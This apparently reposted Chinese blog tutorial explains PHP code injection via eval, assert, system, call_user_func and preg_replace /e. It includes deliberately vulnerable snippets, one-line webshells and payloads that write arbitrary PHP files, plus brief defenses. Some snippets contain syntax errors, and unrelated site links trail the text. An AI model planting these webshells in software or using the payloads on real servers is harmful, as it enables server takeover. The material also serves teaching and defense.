PHP代码注入详解
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP代码注入详解相关的知识,希望对你有一定的参考价值。
php代码注入的原理和解析
PHP代码注入靠的是RCE,即远程代码执行。
指应用程序过滤不严,hacker可以将代码注入到服务器进行远程的执行。
危害和SSRF相似,通过这个漏洞可以操控服务器的动作。
最典型的就是一句话木马。
PHP代码漏洞注入的两个要素:
- 程序中含有可执行的PHP代码函数
- 传入第一点的参数,客户端可控,直接修改或者影响
下面将对PHP相关函数和语句以及注入方法进行解释
eval()
eval()函数在很多语言中都有,比如Python、PHP。
eval函数的作用是将字符串作为PHP语句来执行
例如
<?php
if(isset($_GET['code']){
@$code=$_GET['code']; //使用@表示不显示错误
eval($code);
}else{
echo "please submit code!"
}
?>
当然也可以不适用$_GET,使用其他预定义超全局数组变量都可以。
如果此时我在里面输入:
http://www.abc.com/code?=phpinfo();
就可以弹出php的信息。
assert()函数
这个函数和eval()函数一样,同样可以将函数里面的内容作为PHP代码执行:
但是eval()是语句结构,assert()函数的功能更加全面。
如果在代码注入的时候发现eval() 没有用的话可以尝试替换位assert()函数。
<?php
if(isset($_GET['code']){
$code=$_GET['code'];
assert($code);
}else{
echo "please submit code!"
}
?>
其用法和eval()一致。
system()函数
传递的字符串command作为系统命令执行,并且将指返回给第二个参数return_var
system(string $command, int &$return_var): string
所以,综上所述,一句话木马都可以表示为:
<?php @eval($_GET["sky"]);?>
<?php @assert($_GET["sky"]);?>
<?php @system($_GET["sky"]);?>
preg_replace()函数
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
-
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
-
$replacement: 用于替换的字符串或字符串数组。
-
$subject: 要搜索替换的目标字符串或字符串数组。
-
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
-
$count: 可选,为替换执行的次数。
这个有什么注入点?当/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码来执行。
比如:
$template = preg_replace("/[\\n\\r\\t]*\\{block\\/(\\d+?)\\}[\\n\\r\\t]*/ie", "\\$this->blocktags('\\\\1')", $template);
call_user_func()函数
把第一个参数作为回调函数调用。
<?php
if(isset($_GET['fun'])){
$fun=$_GET['fun'];
$para=$_GET['para'];
call_user_func($fun,$para);
}
?>
如果我们传递参数:
http://www.abc.com/?fun=assert¶=phpinfo()
意思就是,fun需要书写一个真实的函数,而para这是这个函数的参数,这样传参也可以被执行。
此时这里fun不能使用eval,因为eval是语句结构,建议使用assert。
$a($b)函数
这是动态函数的写法,和call_user_func()参数的传递有些类似
if(isset()){
$a=$_GET['a'];
$b=$_GET['b'];
$a($b);
}
常见的PHP代码注入还有这些:
eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
遇到了再查吧,我是记不住那么多
漏洞利用
下面列出简单的漏洞利用方法:
- 一句话木马:
?code=@eval($_POST['password']);
- 获取文件当前绝对路径:__FILE__是预定义常量,为文件的当前绝对路径,用法:
?code=print(__FILE__);
- 写文件:使用file_put_contents()函数。前提是要知道可写目录,可以用hackbar进行提交,例如:
?code=var_dump(file_put_contents($_POST['a'],$_POST['b']));
然后再hackbar使用post提交为:a=a.php&b=<?php phpinfo();?>
,然后就可以在当前目录下创建一个a.php文件了
防御方法:
- 不要使用eval函数
- 如果使用一定要经过严格的过滤
- preg_replace放弃使用/e修饰符
- disable_functions=assert()
以上是关于PHP代码注入详解的主要内容,如果未能解决你的问题,请参考以下文章
以下代码片段是不是容易受到 Rails 5 中 SQL 注入的影响?
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段
初识Spring源码 -- doResolveDependency | findAutowireCandidates | @Order@Priority调用排序 | @Autowired注入(代码片段